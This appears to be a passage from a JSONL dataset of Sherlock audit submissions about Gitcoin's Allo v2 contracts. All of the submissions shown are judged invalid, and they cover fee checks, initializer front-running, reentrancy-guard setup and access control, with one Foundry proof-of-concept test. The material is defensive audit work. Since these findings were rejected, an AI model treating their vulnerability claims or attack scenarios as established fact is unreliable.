_afterRegisterRecipient(_data, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange the code like the following snippet, or change it in another way you think is better.\n\n```diff\n function registerRecipient(bytes memory _data, address _sender)\n external\n payable\n onlyAllo\n onlyInitialized\n- returns (address recipientId)\n+ returns (address)\n {\n _beforeRegisterRecipient(_data, _sender);\n- recipientId = _registerRecipient(_data, _sender);\n+ address recipientId = _registerRecipient(_data, _sender);\n _afterRegisterRecipient(_data, _sender);\n+ return recipientId;\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/627.md"}} +{"title":"`createPool` transaction reverts when the amount of ETH sent is the exact amount required.","severity":"info","body":"Expert Pecan Carp\n\nmedium\n\n# `createPool` transaction reverts when the amount of ETH sent is the exact amount required.\n`createPool` transaction reverts when the amount of ETH sent is the exact amount required. So user has to send more ETH than required for the transaction to be successful due to the use of `>=` operator instead of `>` operator in\n```solidity\nbaseFee + _amount >= msg.value\n```\n\n## Vulnerability Detail\nThe vulnerability arise from the logical operation on line 473 of the `_createPool(...)` function below.\n\n```solidity\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();//@audit-issue condition >= wrong. No eth refund.\n }\n```\nFile: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\nWhen `baseFee` is not zero or `_amount` is not zero and the amount of ETH sent with the transaction is the exact amount, the transaction will fail.\n\nIssue scenario\n1. Lets say `baseFee` is 1000 wei\n2. And `_amount` parameter is 0 wei.\n3. When Alice sends a `createPool` transaction with 1000 wei the transaction will fail.\n4. For the above transaction to be successful, Alice has to send a transaction with at least `baseFee` + `_amount` + 1. which will be 1001 in this case.\n\n## Impact\nLoss of extra ETH sent with the `createPool` transaction.\n\n## Code Snippet\nFile: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n```solidity\nfunction _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n...\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value. //@audit comment not correct. add NOT.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n473 @> if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();//@audit-issue condition >= wrong. use > instead of >=. No eth refund.\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n...\n}\n```\n## Proof of Concept\nCreate a test file with the name Ding.t.sol in the `test/foundry/core` directory then copy and paste the below code snippet and run `forge test --match-path test/**/Ding.t.sol -vvv`\n\n```solidity\n// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity ^0.8.19;\n\nimport \"forge-std/Test.sol\";\n\n// Interfaces\nimport {IAllo} from \"../../../contracts/core/interfaces/IAllo.sol\";\nimport {IStrategy} from \"../../../contracts/core/interfaces/IStrategy.sol\";\n// Core contracts\nimport {Allo} from \"../../../contracts/core/Allo.sol\";\nimport {Registry} from \"../../../contracts/core/Registry.sol\";\n// Internal Libraries\nimport {Errors} from \"../../../contracts/core/libraries/Errors.sol\";\nimport {Metadata} from \"../../../contracts/core/libraries/Metadata.sol\";\nimport {Native} from \"../../../contracts/core/libraries/Native.sol\";\n// Test libraries\nimport {AlloSetup} from \"../shared/AlloSetup.sol\";\nimport {RegistrySetupFull} from \"../shared/RegistrySetup.sol\";\nimport {TestStrategy} from \"../../utils/TestStrategy.sol\";\nimport {MockStrategy} from \"../../utils/MockStrategy.sol\";\nimport {MockERC20} from \"../../utils/MockERC20.sol\";\n\ncontract AlloTest is Test, AlloSetup, RegistrySetupFull, Native, Errors {\n \n address public strategy;\n MockERC20 public token;\n\n uint256 mintAmount = 1000000 * 10 ** 18;\n\n Metadata public metadata = Metadata({protocol: 1, pointer: \"strategy pointer\"});\n string public name;\n uint256 public nonce;\n\n function setUp() public {\n __RegistrySetupFull();\n __AlloSetup(address(registry()));\n\n token = new MockERC20();\n token.mint(local(), mintAmount);\n token.mint(allo_owner(), mintAmount);\n token.mint(pool_admin(), mintAmount);\n token.approve(address(allo()), mintAmount);\n\n vm.prank(pool_admin());\n token.approve(address(allo()), mintAmount);\n\n strategy = address(new MockStrategy(address(allo())));\n\n vm.startPrank(allo_owner());\n allo().transferOwnership(local());\n vm.stopPrank();\n }\n\n function test_createPool() public {\n allo().addToCloneableStrategies(strategy);\n uint newBaseFee = 1e16;\n //Note: baseFee is updated to 1e16 but creating pool with exactly 1e16 will fail.\n allo().updateBaseFee(newBaseFee);\n \n deal(address(pool_admin()), 1e20);\n vm.prank(pool_admin());\n //Expect that transaction will revert.\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n //Note: sending the exact newBaseFee as value will fail.\n // uint256 poolId = \n allo().createPool{value: newBaseFee}(poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers());\n\n \n }\n}\n```\n## Tool used\nManual Review\n\n## Recommendation\nReplace `>=` with `>` in the `if` condition of the `_createPool` internal function on line 473.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/626.md"}} +{"title":"QVSimpleStrategy contract will not receive nor distribute ETH because it lacks a `receive()` function","severity":"info","body":"Alert Bronze Seal\n\nmedium\n\n# QVSimpleStrategy contract will not receive nor distribute ETH because it lacks a `receive()` function\n\nQVSimpleStrategy contract is meant to be used with either ETH or any other ERC20 tokens, but it cannot receive or distribute ETH.\n\n## Vulnerability Detail\n\nIn order for QVSimpleStrategy to handle ETH transactions it needs to have a `receive()` or `fallback()` function, but it does not implement either of them.\n\n## Impact\n\nQVSimpleStrategy will not work properly with ETH.\n\n## Code Snippet\n\n[QVSimpleStrategy.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L23)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a `receive() external payable {}` function in [QVSimpleStrategy.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol) or [QVBaseStrategy.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol)","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/624.md"}} +{"title":"Implementation can be `initialized`","severity":"info","body":"Stable Charcoal Bison\n\nhigh\n\n# Implementation can be `initialized`\n\nThe contracts are upgradable, inheriting from the Initializable contract. However, the current implementations are missing the `_disableInitializers()` function call in the `constructors`. Thus, an attacker can initialize the implementation. Usually, the initialized implementation has no direct impact on the proxy itself; however, it can be exploited in a phishing attack. In rare cases, the implementation might be mutable and may have an impact on the proxy.\n\n## Vulnerability Detail\n\n### OpenZepplin Recommendation\n\n**Initializing the Implementation Contract**\n\n> Do not leave an implementation contract uninitialized. An uninitialized implementation contract can be taken over by an attacker, which may impact the proxy. To prevent the implementation contract from being used, you should invoke the `_disableInitializers` function in the constructor to automatically lock it when it is deployed:\n\n```solidity\n/// @custom:oz-upgrades-unsafe-allow constructor\nconstructor() {\n _disableInitializers();\n}\n```\n\n[Initializing the Implementation Contract](https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#initializing_the_implementation_contract)\n\n## Code Snippet\n\n```solidity\n/// @title Allo\n/// @author @thelostone-mc , @0xKurt , @codenamejason , @0xZakk , @nfrgosselin \n/// @notice This contract is used to create & manage pools as well as manage the protocol.\n/// @dev The contract must be initialized with the 'initialize()' function.\ncontract Allo is IAllo, Native, Transfer, Initializable, Ownable, AccessControl, ReentrancyGuardUpgradeable, Errors {\n```\n\n[Allo.sol - Line 38](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L38)\n\n```solidity\n/// @title Registry Contract\n/// @author @thelostone-mc , @0xKurt , @codenamejason , @0xZakk , @nfrgosselin \n/// @notice Registry contract for creating and managing profiles\n/// @dev This contract is used to create and manage profiles for the Allo protocol\n/// It is also used to deploy the anchor contract for each profile which acts as a proxy\n/// for the profile and is used to receive funds and execute transactions on behalf of the profile\n/// The Registry is also used to add and remove members from a profile and update the profile 'Metadata'\ncontract Registry is IRegistry, Native, AccessControl, Transfer, Initializable, Errors {\n```\n\n[Registry.sol - Line 40](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L40)\n\nAs we can see here both `Allo` and `Registry` contracts are inheriting the `Initializer` contract but both contracts are missing the `disabled constructor`.\n\nhere I had confirmed the team about all ungradable contracts.\n\n\"Screenshot\n\n## Impact\n\nAn uninitialized implementation contract can be taken over by an attacker, which may impact the proxy.\n\n## Tool used\n\nManual Review, Solodit\n\n## Recommendation\n\nIt is recommended to call `_disableInitializers()` function within the contractā€™s constructor to prevent the implementation from being initialized.\n\n```solidity\n/// @custom:oz-upgrades-unsafe-allow constructor\nconstructor() {\n _disableInitializers();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/623.md"}} +{"title":"Allo contract does not initialize `ReentrancyGuardUpgradeable` causing it to be vulnerable to reentrancy attacks","severity":"info","body":"Alert Bronze Seal\n\nmedium\n\n# Allo contract does not initialize `ReentrancyGuardUpgradeable` causing it to be vulnerable to reentrancy attacks\n\n`Allo.sol` does not initialize `ReentrancyGuardUpgradeable`\n\n## Vulnerability Detail\n\n`ReentrancyGuardUpgradeable` does not have a constructor and it must be initialized in order to set the `_status` variable to the proper value. If not initialized, the `_status` variable will remain a default value of 0 (when it should be 1).\n\n## Impact\n\nNot initializing `ReentrancyGuardUpgradeable` will cause the `nonReentrant` modifier to not work. And the contract will be vulnerable to reentrancy attacks.\n\n## Code Snippet\n\n`Allo.sol` inherits `ReentrancyGuardUpgradeable` [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L38) but does not initialize it [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L87-L105)\n\n```solidity\n function initialize(address _registry, address payable _treasury, uint256 _percentFee, uint256 _baseFee)\n external\n reinitializer(1)\n {\n // Initialize the owner using Solady ownable library\n _initializeOwner(msg.sender);\n\n //@audit-issue `ReentrancyGuardUpgradeable` not initialized - call `__ReentrancyGuard_init()`\n\n // Set the address of the registry\n _updateRegistry(_registry);\n\n // Set the address of the treasury\n _updateTreasury(_treasury);\n\n // Set the fee percentage\n _updatePercentFee(_percentFee);\n\n // Set the base fee\n _updateBaseFee(_baseFee);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCall `__ReentrancyGuard_init()` in Allo.sol `initialize` [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L87)","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/621.md"}} +{"title":"`_createPool()` doesn't verify the existence of the token in the pool, which could potentially deceive users by displaying a counterfeit pool balance.","severity":"info","body":"Orbiting Neon Wolf\n\nmedium\n\n# `_createPool()` doesn't verify the existence of the token in the pool, which could potentially deceive users by displaying a counterfeit pool balance.\nWhen a pool is created by profile owners or members using the `createPool` or `createPoolWithCustomStrategy` functions, they provide the pool's `token` address and the initial `amount` they wish to deposit into the pool. However, it's possible for them to input a non-contract address and a substantial `amount`, and the pool will still be created successfully. While this might not initially appear to be harmful, it's important to note that there are many token addresses that follow deterministic patterns. For instance, we can predict the address of the next Curve LP token to be generated or the next token to be minted by the Optimism Bridge. Consequently, profile owners or members can create a pool with a substantial amount (without actually transferring any tokens), and when the token contract is eventually deployed, they can claim a significant pool balance, potentially deceiving users.\n\n## Vulnerability Detail\nThe functions `createPool` and `createPoolWithCustomStrategy` both invoke the internal function `_createPool()`. Under the hood, `_createPool()` subsequently calls `_fundPool`, which in turn utilizes the `_transferAmountFrom` function from the `Transfer` contract. This process employs Solady's `SafeTransferLib`. Notably, in situations where no return data is received, the function will pass and pool will be created with wrong amount.\n\n```solidity\nfunction safeTransferFrom(address token, address from, address to, uint256 amount) internal {\n /// @solidity memory-safe-assembly\n assembly {\n let m := mload(0x40) // Cache the free memory pointer.\n\n mstore(0x60, amount) // Store the `amount` argument.\n mstore(0x40, to) // Store the `to` argument.\n mstore(0x2c, shl(96, from)) // Store the `from` argument.\n // Store the function selector of `transferFrom(address,address,uint256)`.\n mstore(0x0c, 0x23b872dd000000000000000000000000)\n\n if iszero(\n and( // The arguments of `and` are evaluated from right to left.\n // Set success to whether the call reverted, if not we check it either\n // returned exactly 1 (can't just be non-zero data), or had no return data.\n or(eq(mload(0x00), 1), iszero(returndatasize())),\n call(gas(), token, 0, 0x1c, 0x64, 0x00, 0x20)\n )\n ) {\n // Store the function selector of `TransferFromFailed()`.\n mstore(0x00, 0x7939f424)\n // Revert with (offset, size).\n revert(0x1c, 0x04)\n }\n\n mstore(0x60, 0) // Restore the zero slot to zero.\n mstore(0x40, m) // Restore the free memory pointer.\n }\n }\n```\n\n## Impact\nProfile owners or members can create pools with large balances without transferring any tokens to the pool\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L480-L482\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/libraries/Transfer.sol#L70-L93\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd an explicit check in `_createPool` function that the token is a contract and not an EOA.\n\n```diff\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n ...\n if (_amount > 0) {\n+ if(_token != NATIVE) {\n+ uint size;\n+ assembly {\n+ size := extcodesize(_token)\n+ }\n+ if(size == 0) {\n+ revert NOT_CONTRACT();\n+ }\n+ }\n _fundPool(_amount, poolId, _strategy);\n }\n ...\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/620.md"}} +{"title":"Possible token lock after `fundPool`","severity":"info","body":"Rhythmic Marigold Jay\n\nhigh\n\n# Possible token lock after `fundPool`\nPossible token lock after `fund` ļ¼Œbecase there is no limitation of `fundPool` and lack of withdraw function in some strategy.\n## Vulnerability Detail\nIn `Allo.sol` , anyone can increase the fund amount by fundpool \n```solidity \nfunction fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n // Call the internal fundPool() function\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n }\n ```\n And different strategies have different method to distribute token . Some strategies don't have `withdraw` function . If user fund pool at an unintended time, the token would get stuck.\n Take a look at strategy `QVBaseStrategy` , the lifecycle of token is \n```solidity\n fundpool -> allocate->distribute \n \n```\n User could fundpool after allocate or after distribute ,both ways could lead to token can not fully distribute or get stuck in contract.\n\n \n## Impact\n Token is lock in strategy who don't have withdraw function. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345\n\n## Tool used\n\nManual Review\n\n## Recommendation\nadd `withdraw` function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/617.md"}} +{"title":"RFPSimpleStrategy::withdraw lacks checking for _amount.","severity":"info","body":"Feisty Lavender Carp\n\nmedium\n\n# RFPSimpleStrategy::withdraw lacks checking for _amount.\nRFPSimpleStrategy::withdraw lacks checking for _amount.\n\n## Vulnerability Detail\nThe lack of checks on _amount similar to DonationVotingMerkleDistributionBaseStrategy::withdraw.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394-L409\n\n## Impact\nThe lack of checks on _amount similar to DonationVotingMerkleDistributionBaseStrategy::withdraw leads to malicious issues.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295-L301\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd checks on _amount similar to DonationVotingMerkleDistributionBaseStrategy::withdraw.\n if (_amount > poolAmount) {\n revert INVALID();\n }","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/616.md"}} +{"title":"Lack of zero address checks may lead to loss of funds or unexpected behaviours","severity":"info","body":"Savory Clear Koala\n\nmedium\n\n# Lack of zero address checks may lead to loss of funds or unexpected behaviours\nLack of zero address an zero value checks may lead to loss of funds or unexpected behaviours \n\n## Vulnerability Detail\nSeveral functions take inputs without checking if the value can be address(0) this can lead to setting up faulty initializations, setting address to 0 \n\n## Impact\nThis can lead to loss of funds, reverts and unexpected behaviours \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L87\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L148\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L178\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L213\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L220\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L48\n\netc \n\n## Tool used\nManual Review\n\n## Recommendation\nRecommended all critical parts using address as inputs where address(0) can cause problems be checked to ensure no zero address in taken in as input","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/615.md"}} +{"title":"Absence of a Function to Withdraw Funds from the `Anchor` contract","severity":"info","body":"Blunt Cerulean Hedgehog\n\nmedium\n\n# Absence of a Function to Withdraw Funds from the `Anchor` contract\nThe `Anchor` contract currently does not have a function that allows for the withdrawal of funds (Ether) that have been sent to it. This means that any Ether sent to the contract cannot be retrieved, effectively becoming locked within the contract.\n## Vulnerability Detail\nThe contract includes a fallback function to receive Ether:\n```solidity\nreceive() external payable {}\n```\nThis function allows the contract to accept Ether sent to it. However, once the Ether is sent to the contract, there is no function within the contract that allows for the withdrawal or transfer of those funds to another address. This means that any Ether sent to the contract is irretrievable and becomes permanently locked within the contract.\n\n## Impact\nThe impact of this issue is financial loss. If a user accidentally sends Ether to the contract, or if the contract is designed to accumulate Ether for some reason (e.g., as part of its functionality), those funds become inaccessible and are effectively lost. This could potentially lead to significant financial loss, depending on the amount of Ether sent to the contract.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L1-L88)\n## Tool used\n\nManual Review\n\n## Recommendation\nTo mitigate this issue, a withdrawal function should be added to the contract. This function should include appropriate access controls to ensure that only authorized addresses (e.g., the contract owner) can withdraw funds. Here is a simple example of what this function could look like:\n```solidity\nfunction withdraw(uint256 amount) external onlyOwner {\n require(amount <= address(this).balance, \"Insufficient balance\");\n payable(owner).transfer(amount);\n}\n```\nIn this example, `onlyOwner` is a modifier that restricts the withdraw function to the owner of the contract, and owner is a state variable that stores the owner's address. This function allows the owner to withdraw a specified amount of Ether from the contract, provided that the contract has a sufficient balance.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/612.md"}} +{"title":"Initializers can be front run","severity":"info","body":"Savory Clear Koala\n\nmedium\n\n# Initializers can be front run\nSome contracts have initializers that can be front run \n\n## Vulnerability Detail\nContracts like Allo.sol, Registry.sol have intializers that are not protected by access control so can be front run allowing the attacker to take over the ownership of the contracts e.g _initializeOwner(msg.sender); and _grantRole(ALLO_OWNER, _owner); respectively. reinitializer(1) is jus similar to initializer \n\n## Impact\nFront runner who calls initializers with higher gas can have the initialize function run first and become the owner of the contracts affected since the initializers are not protected \n\n## Code Snippet\nAllo.sol line 89 \n```solidity \n function initialize(address _registry, address payable _treasury, uint256 _percentFee, uint256 _baseFee)\n external\n reinitializer(1)\n {\n```\nRegistry.sol line 79 \n```solidity \nfunction initialize(address _owner) external reinitializer(1) {\n // Make sure the owner is not 'address(0)'\n if (_owner == address(0)) revert ZERO_ADDRESS();\n\n // Grant the role to the owner\n _grantRole(ALLO_OWNER, _owner);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L89\n\n## Tool used\nManual Review\n\n## Recommendation\nRecommend add access controls to initializers","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/611.md"}} +{"title":"Unprotected `initialize` functions can be `front-run` by MEV bots or by Attackers.","severity":"info","body":"Stable Charcoal Bison\n\nhigh\n\n# Unprotected `initialize` functions can be `front-run` by MEV bots or by Attackers.\n\nIt should be avoided that the implementation of proxy contracts can be initialized by third parties. This can be the case if the `initialize` function is unprotected. Since the implementation contract is not meant to be used directly without a proxy delegate-calling it is recommended to protect the initialization method of the implementation by initializing on deployment.\n\nChanging the proxy implementation to a version that does not protect the initialization method may allow someone to front-run and initialize the contract if it is not done within the same transaction.\n\n## Vulnerability Detail\n## Code Snippet\n\nThe `initialize` functions of the `Allo` and `Registry` contracts are unprotected and vulnerable to attack by MEV bots or Attackers.\n\n`Allo Contract`\n\n[Allo.sol - Lines 87 - 89](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L87-L89)\n\n```solidity\nfunction initialize(\n address _registry,\n address payable _treasury,\n uint256 _percentFee,\n uint256 _baseFee\n) external reinitializer(1) {\n // Initialize the owner using Solady ownable library\n _initializeOwner(msg.sender);\n\n // Set the address of the registry\n _updateRegistry(_registry);\n\n // Set the address of the treasury\n _updateTreasury(_treasury);\n\n // Set the fee percentage\n _updatePercentFee(_percentFee);\n\n // Set the base fee\n _updateBaseFee(_baseFee);\n}\n```\n\n`Registry Contract`\n\n[Registry.sol - Line 79](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L79)\n\n```solidity\n/// @notice Initializes the contract after an upgrade\n/// @dev During upgrade -> a higher version should be passed to reinitializer. Reverts if the '_owner' is the 'address(0)'\n/// @param _owner The owner of the contract\nfunction initialize(address _owner) external reinitializer(1) {\n // Make sure the owner is not 'address(0)'\n if (_owner == address(0)) revert ZERO_ADDRESS();\n\n // Grant the role to the owner\n _grantRole(ALLO_OWNER, _owner);\n}\n```\n\nHere we can see anyone can call these functions after deployment of the contracts and MEV bots are very fast which can call these functions very quickly after the deployment.\n\n## Impact\n\nThese parameters are very critical to operate the Allo protocol properly which can be manipulated by an attacker to incorrectly initialize the contract.\n\n### Proofs\n\n### 1. Initializer - Documentation\n\n- The contract has an `initialize` function that initializes the contract after an upgrade.\n- The function takes `_registry`, `_treasury`, `_percentFee`, and `_baseFee` as parameters and sets various contract parameters, such as treasury, registry, percentage fee, and base fee.\n- This function can only be called by the contract owner.\n\n[Initializer documentation specifications](https://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.md#initializer)\n\n### 2. Discussion with the Protocol Team\n\n\"Screenshot\n\nHere I confirm the protocol about other `initialize` functions of different strategy contracts such as `RFPSimpleStrategy`, `RFPCommitteeStrategy`, etc. Those were also unprotected on a higher level but the team confirmed that these are protected internally using the `initialize` function of the `BaseStrategy` contract.\n\n```solidity\nfunction __BaseStrategy_init(uint256 _poolId) internal virtual onlyAllo {\n // check if pool ID is not initialized already, if it is, revert\n if (poolId != 0) revert ALREADY_INITIALIZED();\n\n // check if pool ID is valid and not zero (0), if it is, revert\n if (_poolId == 0) revert INVALID();\n\n poolId = _poolId;\n}\n```\n\n[BaseStrategy.sol - Line 141](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L141)\n\nThis evidence shows that the team knows that the protection `modifier` is necessary.\n\n`Note: In the provided above issues, there is no protection modifier in the internal functions also which you can verify.`\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n1. Initialize unprotected implementation contracts in the implementationā€™s constructor.\n2. Protect initialization methods from being called by unauthorized parties or ensure that deployment of the proxy and initialization is performed in the same transaction.\n3. Use a factory pattern that will prevent front-running of the initialization, or\n4. Ensure the deployment scripts are robust in case of a front-running attack.\n\nCarefully review the [Solidity documentation](https://docs.soliditylang.org/en/develop/control-structures.html#error-handling-assert-require-revert-and-exceptions), especially the Warnings section. Carefully\nreview the [pitfalls](https://blog.trailofbits.com/2018/09/05/contract-upgrade-anti-patterns/) of using delegatecall proxy pattern.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/609.md"}} +{"title":"In `QVSimpleStrategy.sol`, missing access control on `_allocate()`","severity":"info","body":"Plain Pebble Chimpanzee\n\nmedium\n\n# In `QVSimpleStrategy.sol`, missing access control on `_allocate()`\nIn `QVSimpleStrategy.sol`, missing access control on `_allocate()`\n\n## Vulnerability Detail\n## Impact\n\nIn `QVSimpleStrategy.sol`, `_allocate()` must have access control and should only be called by `onlyPoolManager` however in current implementation it is given as below,\n\n```Solidity\nFile: contracts/strategies/qv-simple/QVSimpleStrategy.sol\n\n /// @notice Allocate votes to a recipient\n /// @param _data The data\n /// @param _sender The sender of the transaction\n>> /// @dev Only the pool manager(s) can call this function\n>> function _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\n\nNow, check this function Natspec,\n\n```Solidity\n /// @dev Only the pool manager(s) can call this function\n```\n\nHowever, the `_allocate()` function does not have any access control which is against function Natspec.\n\nIn other inscope contracts like, `RFPCommitteeStrategy.sol` and `RFPSimpleStrategy.sol` have `_allocate()` function which can only be called by `onlyPoolManager` which can be seen as below,\n\n```Solidity\nFile: contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol\n\n102 function _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) {\n```\nThis can be checked [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102)\n\nand \n\n```Solidity\nFile: contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol\n\n386 function _allocate(bytes memory _data, address _sender)\n387 internal\n388 virtual\n389 override\n390 nonReentrant\n391 onlyActivePool\n392 onlyPoolManager(_sender)\n393 {\n```\nThis can be checked [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L392)\n\nTherefore, in `QVSimpleStrategy._allocate()` must have `onlyPoolManager` access control which is also as per function Natspec.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L106-L107\n\n## Tool used\nManual Review\n\n## Recommendation\n\n```diff\n\n /// @notice Allocate votes to a recipient\n /// @param 